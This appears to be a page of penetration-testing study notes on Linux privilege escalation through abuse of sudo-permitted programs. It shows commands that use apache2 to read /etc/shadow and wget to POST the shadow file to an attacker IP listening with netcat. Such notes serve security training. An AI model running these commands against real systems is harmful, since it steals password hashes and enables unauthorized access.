> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/linux-privilege-escalation/sudo/intended-functionality.md).

# Intended Functionality

### Example

After running **sudo -l** you come across apache2, however it isn't in gtfobins.

Quick google search can lead you [here](https://juggernaut-sec.com/sudo-part-2-lpe/).&#x20;

Apache 2 has the ability to read files so you can abuse this by reading the shadow file

```
sudo apache2 -f /etc/shadow
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FWpNWjkw4nyexgD7MbtqC%2Fimage.png?alt=media&amp;token=584e4f3e-8c04-4ebf-81dc-71bb869bf9ea" alt=""><figcaption></figcaption></figure>

Another example could be with wget and sending yourself the shadow file with POST and a nc listener

```
sudo wget --post-file=/etc/shadow 10.10.14.8:1337
```
